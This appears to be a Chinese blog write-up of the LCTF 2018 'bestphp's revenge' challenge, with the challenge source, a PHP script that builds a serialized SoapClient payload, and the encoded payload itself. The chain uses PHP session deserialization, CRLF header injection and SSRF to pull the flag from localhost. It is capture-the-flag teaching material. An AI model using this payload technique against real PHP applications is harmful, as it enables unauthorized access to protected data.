bestphp’s revenge

bestphp’s revenge

题目给了源码:index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

扫一下目录:flag.php

echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }

这里说说明了需要本地地址访问才能输出flag。

变量覆盖

首先我们看到第一个call_user_func()函数里面2个参数我们都可控,因此想到用extract()函数进行变量覆盖,先用var_dump()看一下session的内容:

image-20210521103655823

session反序列化

于是我们想通过ini_set()函数来构造ini_set('session.serialize_handler', 'php_serialize');来改变序列化时的处理器,从而使其和反序列化时处理引擎不同,但是这个函数不接受数组,$_POST中需要设置参数传输; 所以用session_start(['serialize_handler'=>'php_serialize']),即POST传入serialize_handler=php_serialize来改变处理器,因为session_start()中如果提供参数,那么会用其中的项目覆盖会话配置指示中的配置项。即构造 session_start(serialize_handler=php_serialize) 就行了。我们可以利用题目中的 call_user_func($_GET['f'], $_POST); 函数,传入GET:/?f=session_startPOST:serialize_handler=php_serialize,实现 session_start(serialize_handler=php_serialize) 的调用来修改此页面的序列化引擎为php_serialize。

SoapClient类

php中的SoapClient类可以创建soap数据报文,与wsdl接口进行交互。该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )

第一个参数用来指明是否是wsdl模式。

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置locationuri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

其中$options数组下有个user_agent选项,我们可以利用该选项来自定义User-Agent。而在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null, array('location' => $target,
    'user_agent' => "btis\r\nCookie: PHPSESSID=c472u8eh63tvqe5kq44o4mq3b1\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;

其中有两个必备参数location是要将请求发送到的SOAP服务器的URL,uri 是SOAP服务的目标命名空间。我们将location设置为http://127.0.0.1/flag.php即本地flag.php文件,这个条件满足了flag.php中要求的$_SERVER["REMOTE_ADDR"]==="127.0.0.1"uri随便填就好。其中user_agent,是我们用来定义User-Agent,利用CRLF同时传入页面的cookie,使$_SESSION['flag'] = $flag;保存到指定cookie中。

O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A52%3A%22John%0D%0ACookie%3A+PHPSESSID%3Deu55lkml6t447pr8n10o6a49a6%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
image-20210521152739699

利用php_serialize序列化传入后,并用php反序列化处理后此时session中包含了:一个键名a:1:{s:4:"name";s:222:",和一个SoapClient对象

array(1) {
  ["a:1:{s:4:"name";s:222:""]=>
  object(SoapClient)#1 (5) {
    ["uri"]=>
    string(3) "123"
    ["location"]=>
    string(25) "http://127.0.0.1/flag.php"
    ["_stream_context"]=>
    int(0)
    ["_user_agent"]=>
    string(52) "John
Cookie: PHPSESSID=c472u8eh63tvqe5kq44o4mq3b1
"
    ["_soap_version"]=>
    int(1)
  }
}

但此时还不会触发SSRF,需要触发 __call 方法来造成SSRF,该方法在访问对象中一个不存在的方法时会被自动调用,所以单纯反序列化还不行,我们还需要访问该对象中一个不存在的方法,这里就用到了如下这段代码:

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);

我们可以利用extract函数将变量b覆盖为call_user_func,这样,就成了:

call_user_func(call_user_func, array(reset($_SESSION), 'welcome_to_the_lctf2018'));

call_user_func()函数有一个特性,就是当只传入一个数组时,可以用call_user_func()来调用一个类里面的方法,call_user_func()会将这个数组中的第一个值当做类名,第二个值当做方法名。

下面我们用extract()$b覆盖成call_user_func()reset($_SESSION)就是$_SESSION['name'],所以我们传入name=SoapClient

最后的call_user_func($b, $a)就变成了call_user_func(array('SoapClient','welcome_to_the_lctf2018')),即call_user_func(SoapClient->welcome_to_the_lctf2018)

因为SoapClient对象中没有welcome_to_the_lctf2018这个方法,就会调用魔术方法__call()从而发送请求,造成SSRF去访问flag.php。

image-20210521153114581

这一步由于会触发SSRF请求,因此会等待很久。

最后直接访问index.php页面,把session的内容都输出出来即可看到flag。

参考资料

SoapClient反序列化

利用SoapClient类进行SSRF+CRLF攻击

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇